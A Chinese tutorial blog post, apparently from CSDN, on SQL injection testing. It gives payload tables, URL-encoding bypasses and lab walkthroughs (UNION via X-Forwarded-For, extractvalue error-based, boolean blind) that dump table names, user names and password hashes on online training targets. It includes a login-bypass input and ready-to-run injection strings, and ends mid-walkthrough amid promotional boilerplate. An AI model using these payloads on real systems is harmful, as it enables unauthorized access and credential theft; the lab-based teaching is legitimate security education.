2024年软件测试最全渗透测试-SQL注入检测_sql注入 在线检测(1),看这篇足矣了

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

而当我们使用 用户名‘:– 的时候,密码随便输入也可以登陆成功
在这里插入图片描述
这时候对比两条sql就能发现,其实用户通过在用户名写入的sql符号将内部sql提前结束,并且将后半句检索条件注释起来达到免密码登陆效果

小结: SQL注入就是本来我只有我能操作数据库,本来只是让你输入内容就走,而你却输入命令,从而在我不知情下操作数据库。

注入点检测

Web应用的主要注入点有:

  1. POST请求体中的参数;
  2. GET请求头URL中的参数;
  3. Cookie。

闭合类型

1、数字型

URL:    http://localhost/index.php?id=1
SQL语句:SELECT \* FROM users WHERE id=1 LIMIT 0,1
注入语句:http://localhost/index.php?id=1 and 1=1 %23
SQL语句:SELECT \* FROM users WHERE id=1 and 1=1 # LIMIT 0,1

2、字符型

URL:    http://localhost/index.php?id=1
SQL语句:SELECT \* FROM users WHERE id='1' LIMIT 0,1
注入语句:http://localhost/index.php?id=1' and 1=1 %23
SQL语句:SELECT \* FROM users WHERE id='1' and 1=1 #' LIMIT 0,1

3、其他变体

URL:    http://localhost/index.php?id=1
SQL语句:SELECT \* FROM users WHERE id=('1') LIMIT 0,1
注入语句:http://localhost/index.php?id=1') and 1=1 %23
SQL语句:SELECT \* FROM users WHERE id=('1') and 1=1 #') LIMIT 0,1

字符型注入

测试字符串变体预期结果
N/ A触发数据库返回错误
’ or ‘1’ = '1') or (‘1’ = '1永真,返回所有行
’ or ‘1’ = '2') or (‘1’ = '2空,不影响返回结果
’ and ‘1’ = '2') and (‘1’ = '2永假,返回空

如果系统限制了某些字符不能输入,我们可以对相关字符进行URL编码转换后尝试绕过,常见需要编码的字符如下:

  • 加号(+)编码为:%2B
  • 等号(=)编码为:%3D
  • 单引号(’)编码为:%27
  • 注释号(#)编码为:%23

数字型注入

测试字符串变体预期结果
N/ A触发数据库返回错误
or 1 = 1) or (1 = 1永真,返回所有行
or 1 = 2) or (1 = 2空,不影响返回结果
and 1 = 2) and (1 = 2永假,返回空

终止式注入

测试字符串变体预期结果
’ ; - -’ ) ; - -字符串参数,返回指定行集
’ ; #’ ) ; #字符串参数,返回指定行集
’ or ‘1’ = ‘1’ ; - -’ ) or ‘1’ = ‘1’ ; - -永真,返回所有行
’ and ‘1’ = ‘2’ ; - - +’ ) and ‘1’ = ‘2’ ; - - +永假,返回空
and 1 = 2 #) and 1 = 2 #永假,返回空

Union回显

理论基础

【HTTP头部详解】

  1. User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等。
  2. Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据。
  3. X-Forwarded-For:它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。
  4. Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。
  5. Host:访问的WEB服务器的域名/IP 地址和端口号。

基本上都是服务器需要保存以上信息时,但没有过滤就直接存入数据库中就可能会导致HTTP头注入。

【Union联合查询】

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

注意:

  1. UNION 内部的 SELECT 语句必须拥有相同数量的列。
  2. 列也必须拥有相似的数据类型。
  3. 同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

【例子】下面的例子中使用的原始表:
Employees_China:在这里插入图片描述

攻击过程

【靶机环境】墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述
【注入点测试】

设置网页代理,进入墨者的任性网页,打开BurpSuite抓包,右键发送给repeater在这里插入图片描述自己填入X-Forwarded-For,然后判断是否可注入:
在这里插入图片描述在这里插入图片描述

【判断字段数】

接着使用order by 判断后台SQL查询语句的字段(表)的数量,最后发现是4:
在这里插入图片描述在这里插入图片描述

【查询出表名】

然后通过union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())可知表名为comment,flag,goods,user
在这里插入图片描述

【查询出列名】

接着通过union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')可知列名为id,flag
在这里插入图片描述

【查询出数据】

最后通过union select 1,2,3,(select group_concat(flag) from flag)可得flag的数值bd631cfd729bdbe4336455f659c0d2d5:

在这里插入图片描述
返回初始页面,填入到flag处获取最终key:
在这里插入图片描述
在这里插入图片描述

报错盲注

理论基础

报错注入:extractvalueupdatexml报错原理

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

名称描述
ExtractValue()使用XPath表示法从XML字符串中提取值
updatexml()返回替换的XML片段

通过这两个函数可以完成报错注入。

extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数:

  1. 第一个参数可以传入目标xml文档;
  2. 第二个参数是用Xpath路径法表示的查找路径。

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容
在这里插入图片描述
我们可以利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
在这里插入图片描述
详细解释

extractvalue() :对XML文档进行查询的函数。

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样。

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

【例1】正常查询

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

第二个参数的位置格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错。
在这里插入图片描述
使用concat()拼接 ‘ / ‘ 效果相同:

   select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

在这里插入图片描述这里在’anything’中查询不到 位置是 /database()的内容,但也没有语法错误,不会报错,下面故意写入语法错误:

 select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

在这里插入图片描述可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次最多查看32位。

这里查询前5位示意:

 select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

在这里插入图片描述
updatexml函数

UpdateXML(xml_target, xpath_expr, new_xml)

  1. xml_target:: 需要操作的xml片段
  2. xpath_expr: 需要更新的xml路径(Xpath格式)
  3. new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G

\*\*\*\*\*\*\*\*\*\*\*结果\*\*\*\*\*\*\*\*\*\*\*\*\*\*
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容
在这里插入图片描述

攻击过程

【靶场环境】

墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述
注入点测试

  1. 判断是否存在注入点
    在这里插入图片描述
  2. 尝试注入Order by语句,确定为SQL盲注:
    在这里插入图片描述
    在这里插入图片描述

【解释】此处使用%23是注释字符“#”的URL转码!在浏览器URL中不能直接输入“#”这样的特殊字符!!若使用BurpSuite构造Payload则可以直接使用“#”,因为BP会自动进行转码!同时我们还可以使用注释“--+”来替换“#”,其中“+”是空格的意思,可以输入“-- 任意英文字符”验证。

在这里插入图片描述
来看看用“空格+任意字符”替代加号形成注释:
在这里插入图片描述
SQL手工盲注

言归正传,既然知道是SQL盲注,我们就需要用extractvalue函数来构造报错回显。

  1. 尝试爆出当前用户名称:' and extractvalue(1,concat(0x7e,(select user())))--+
    在这里插入图片描述
  2. 爆出当前数据库名称:' and extractvalue(1,concat(0x7e,(select database()))) %23
    在这里插入图片描述
  3. 爆出当前数据库中第一个表(加了limit 0,1)的名称:' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1)))--+
    在这里插入图片描述
  4. 爆出当前表的字段的名称:' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member')))--+
    在这里插入图片描述
  5. 爆出用户名name字段值:' and extractvalue(1,concat(0x7e,(select name from member limit 1,1)))--+
    在这里插入图片描述
  6. 爆出用户密码password字段值:' and extractvalue(1,concat(0x7e,(select password from member limit 1,1)))--+
    在这里插入图片描述
  7. 爆到这里有个坑点,由于密码是32位的,且extractvalue()能查询字符串的最大长度为32位。然而此处“~”符号占用了1位,所以显示出来的密码只有31位。果然直接拿这个密码去MD5解密,直接解释失败:
    在这里插入图片描述
  8. 根据题目提示,要用到substr()函数,所以直接把被吞的最后一位单独截出来:' and extractvalue(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1)))--+
    在这里插入图片描述
  9. 将得到的最后一位密码与之前31位密码拼接,进入MD5解密:
    在这里插入图片描述
  10. 返回网站登录页进行登录,登录成功,拿到Key,攻击结束:
    在这里插入图片描述

布尔盲注

理论基础

布尔盲注参考博客:https://www.jb51.net/article/93445.htm

攻击过程

【靶场环境】

墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述

注入点测试

  1. 测试PayLoad:http://219.153.49.228:48862/new_list.php?id=1'
    在这里插入图片描述
  2. 测试PayLoad:http://219.153.49.228:48862/new_list.php?id=1' and 1=1
    在这里插入图片描述
  3. 测试PayLoad:http://219.153.49.228:48862/new_list.php?id=1 and 1=1
    在这里插入图片描述

从上面可以看到,输入的语句如果符合SQL语法要求,页面就会显示内容(同时显示的内容都是一样的),否则不显示任何内容。这种情况下页面上的输出对于我们来说是完全没有用的,包括SQL执行出错的信息都不会在页面上显示。此时想通过执行SQL语句然后在页面上显示SQL执行之后返回的信息完全是不可能的。这就是一个典型的SQL布尔盲注,而且可以看出是数字型的SQL注入。

手工盲注测试

  1. 尝试使用extractvalue()函数回显报错:
    http://219.153.49.228:48862/new_list.php?id=1 and extractvalue(1,concat(0x7e,(select 20user())))
    在这里插入图片描述
  2. 使用length()函数猜测数据库名称的长度:
    (1) http://219.153.49.228:48862/new_list.php?id=1 and length(database())>9
    在这里插入图片描述
    (2) http://219.153.49.228:48862/new_list.php?id=1 and length(database())>10
    在这里插入图片描述

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

age/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl8zOTE5MDg5Nw==,size_16,color_FFFFFF,t_70)

[外链图片转存中…(img-azlXUo0n-1715185738991)]
[外链图片转存中…(img-7gEDTUDj-1715185738992)]

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 22
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值